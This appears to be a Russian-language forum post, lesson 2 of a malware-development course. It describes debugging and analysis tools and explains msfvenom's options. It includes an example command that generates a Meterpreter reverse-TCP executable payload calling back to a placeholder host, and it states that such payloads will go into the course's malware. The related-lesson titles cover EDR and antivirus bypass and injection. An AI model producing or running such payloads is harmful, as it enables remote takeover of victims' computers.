Уроки Разработка малвари - 2. Изучаем инструменты


X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 085
Репутация
8 208
В предыдущей части мы затронули, зачем вообще разрабатывать вредоносное ПО, рассмотрели жизненный цикл такого ПО и немного затронули выбор языка разработки.

Предыдущая часть тут: Зачем изучать разработку вредоносных программ ?

Перед началом путешествия по разработке вредоносного программного обеспечения необходимо подготовить рабочее пространство, установив инструменты для разработки вредоносных программ, а также их отладки.

Эти инструменты будут полезны в процессе разработки и анализа вредоносного программного обеспечения.

Отмечу что пока мы будем рассматривать ОС Windows, т.к. большинство малвари пишут именно под эту ОС, но также в будущем хочу затронуть Линукс и может-быть несколько статей будут затрагивать обсуждение малвари для мобильных устройств.)

Инструменты разработки/отладки и исследования программ

Установите следующие инструменты:

Visual Studio - это среда разработки, в которой будет происходить процесс написания и компиляции кода. Установите C/C++ Runtime.

x64dbg - x64dbg - это отладчик, который будет использоваться во всех следующих статьях для получения внутреннего понимания разработанной вредоносной программы.

PE-Bear - PE-bear - это многофункциональный инструмент обратной разработки для файлов РЕ. Он также будет использоваться для оценки разработанной вредоносной программы и поиска подозрительных признаков.

Process Hacker 2 - Process Hacker - это мощный универсальный инструмент, который помогает отслеживать ресурсы системы, отлаживать программное обеспечение и обнаруживать вредоносные программы.

Wireshark – это широко распространённый инструмент для захвата и анализа сетевого трафика, который активно используется как для образовательных целей, так и для устранения неполадок на компьютере или в сети.

Msfvenom - это инструмент интерфейса командной строки, который используется для создания пэйлоадов для разных платформ.

Рассмотрим эти инструменты более подробно:

Visual Studio
- это интегрированная среда разработки (IDE), разработанная Microsoft. Она используется для разработки широкого спектра программного обеспечения, такого как веб-приложения, веб-сервисы и компьютерные программы.

Он также поставляется с инструментами разработки и отладки для создания и тестирования приложений.

Visual Studio будет основной средой разработки, используемой в этом курсе.

1689669387246.png




x64dbg - это отладочная утилита с открытым исходным кодом для x64 и x86 бинарных файлов Windows.

Она используется для анализа и отладки приложений в пользовательском режиме и драйверов в режиме ядра.

Она предоставляет графический интерфейс пользователя, который позволяет пользователям проверять и анализировать состояние своих программ, просматривать содержимое памяти, инструкции ассемблера и значения регистров.

С помощью x64dbg пользователи могут устанавливать точки останова, просматривать данные стека и кучи, выполнять пошаговое выполнение кода, читать и записывать значения памяти.

1689669397843.png


PE-Bear - это бесплатный инструмент с открытым исходным кодом, разработанный для помощи аналитикам вредоносного программного обеспечения и обратной разработки в быстром и простом анализе исполняемых файлов Windows Portable Executable (PE).

Он помогает анализировать и визуализировать структуру файла PE, просматривать импорты и экспорты каждого модуля и выполнять статический анализ для обнаружения аномалий и возможного вредоносного кода. PE-bear также включает функции проверки заголовка PE и секций, а также шестнадцатеричного редактора.

1689669410481.png


Process Hacker - это инструмент с открытым исходным кодом для просмотра и управления процессами и службами в операционной системе Windows.

Он похож на диспетчер задач, но предоставляет больше информации и расширенные функции.

С его помощью можно завершать процессы и службы, просматривать подробную информацию и статистику о процессах, устанавливать приоритеты процессов и многое другое.

Process Hacker будет полезен при анализе работающих процессов для просмотра таких элементов, как загруженные DLL-библиотеки и области памяти.


1689669419698.png



Wireshark
– это широко распространённый инструмент для захвата и анализа сетевого трафика, который активно используется как для образовательных целей, так и для устранения неполадок на компьютере или в сети.

Wireshark работает практически со всеми протоколами модели OSI, обладает понятным для обычного пользователя интерфейсом и удобной системой фильтрации данных. Помимо всего этого, программа является кроссплатформенной и поддерживает следующие операционные системы: Windows, Linux, Mac OS X, Solaris, FreeBSD, NetBSD, OpenBSD.

1689669429352.png


Msfvenom - это генератор независимых нагрузок (payload) фреймворка Metasploit, который позволяет пользователям создавать различные типы нагрузок.

Эти нагрузки будут использоваться в создаваемом вредоносном программном обеспечении в рамках данного курса.

Также является заменой для инструментов msfpayload и msfencode.

Использование: /usr/bin/msfvenom [опции] <var=val>

Пример: /usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe

-1, --list <type> Список всех модулей.

Типы: payloads, encoders, nops, platforms, archs, encrypt, formats, all.

-p, --payload <payload> Используемая нагрузка (используйте --list payloads для просмотра списка, --list-options для аргументов).

--list-options Список стандартных, расширенных опций для --payload <value>.

-f, --format <format> Формат вывода (используйте --list formats для списка форматов).

-e, --encoder <encoder> Используемый энкодер (используйте --list encoders для просмотра списка).

--service-name <value> Имя службы при создании исполняемого файла службы.

--sec-name <value> Новое имя раздела при создании крупных исполняемых файлов для Windows. По умолчанию: случайная строка из 4 символов.

--smallest Генерация наименьшей возможной нагрузки, используя все доступные энкодеры.

--encrypt <value> Тип шифрования или кодирования для применения к коду оболочки (используйте --list encrypt для списка).

--encrypt-key <value> Ключ для --encrypt.

--encrypt-iv <value> Вектор инициализации для --encrypt.

-a, --arch <arch> Архитектура для --payload и --encoders (используйте --list archs для списка).

--platform <platform> Платформа для --payload (используйте --list platforms для списка).

-o, --out <path> Сохранить нагрузку в файл.

-b, --bad-chars <list> Список символов, которых нужно избегать. Пример: '\х@@\х Р'.

-n, --nopsled <length> Добавить пустой блок заданной длины перед нагрузкой.

--pad-nops Использовать длину блока, заданную опцией -n <length>, как общий размер нагрузки, автоматически добавляя пустой блок до нужного количества (длина блока минус длина нагрузки).

-s, --space <length> Максимальный размер результирующей нагрузки.

--encoder-space <length> Максимальный размер закодированной нагрузки (по умолчанию равен значению опции -s).

-i, --iterations <count> Количество итераций кодирования нагрузки.

-c, --add-code <path> Указать дополнительный файл с shell-кодом для включения.

-x, --template <path> Указать пользовательский исполняемый файл в качестве шаблона.

Пожалуйста изучите эти инструменты более подробно самостоятельно, к сожалению описывать их более детально нет возможности, в сети статей очень много, далее в следующих статьях будет затронут немного язык Си, а потом немного архитектура ОС.

Вообще описывать всё подробно очень затратно, поэтому цель этих статей дать направление, если-же вы действительно хотите что-то изучать, то это в основном самостоятельная практика и изучение.

Но надеюсь эти статьи могут дать какое-то направление…)
 

HMCoba

Активный пользователь
Активный
Регистрация
22.04.2023
Сообщения
157
Репутация
111
Но надеюсь эти статьи могут дать какое-то направление…
Однозначно помогут, как говорится большое путешествие, начинается с одного маленького шага.
Спасибо за статью, хорошая тема!
 

belogvardeets

Пользователь
Форумчанин
Регистрация
24.08.2023
Сообщения
1
Репутация
1
Только что увидел оглавление... Сказать, что я в восторге - это ничего не сказать! Невероятный труд и огромная работа, спасибо автору.
ps: Обязательно залайкаю на xss)
 
Автор темы Похожие темы Форум Ответы Дата
X-Shar Введение в разработку вредоносных программ 1
X-Shar Введение в разработку вредоносных программ 6
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 2
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 2
X-Shar Введение в разработку вредоносных программ 1
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 1
X-Shar Введение в разработку вредоносных программ 16
X-Shar Введение в разработку вредоносных программ 1
X-Shar Введение в разработку вредоносных программ 6
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 7
X-Shar Введение в разработку вредоносных программ 8
X-Shar Введение в разработку вредоносных программ 2
X-Shar Введение в разработку вредоносных программ 4
Похожие темы
Уроки Разработка вирусов-35.Обход EDRs.Последняя тема цикла
Уроки Разработка вирусов-34.Обход Windows defender
Уроки Разработка вирусов-33.Уменьшение вероятности детекта зверька
Уроки Разработка вирусов-32.Открываем врата ада
Уроки Разработка вирусов-31.Обход виртуальных машин
Уроки Разработка вирусов-30.Черпаем силы в антиотладке
Уроки Разработка вирусов-29. Предельная техника-2. Практика. Реализуем техники инъекции через сисколы
Уроки Разработка малвари-18.Определение PID нужного процесса, или перечисления процессов
Уроки Разработка малвари-14. Размещаем Payload удаленно на сервере
Уроки Разработка малвари-13.Инъекция шелл-кода в процесс
Уроки Разработка малвари-12. Иньекция в процесс
Уроки Разработка малвари-11. Локальный запуск Payload
Уроки Разработка малвари-10. Обфускация Payload
Уроки Разработка малвари-9. Шифруем Payload
Уроки Разработка малвари-8. Куда класть нагрузку ?
Уроки Разработка малвари-7. Виды детектов
Уроки Разработка малвари-6. Процессы Windows
Уроки Разработка малвари - 5. Изучаем динамические библиотеки
Уроки Разработка малвари - 4. Шпаргалка по архитектуре винды
Уроки Разработка малвари - 3. Так какой-же язык выбрать !?
Верх Низ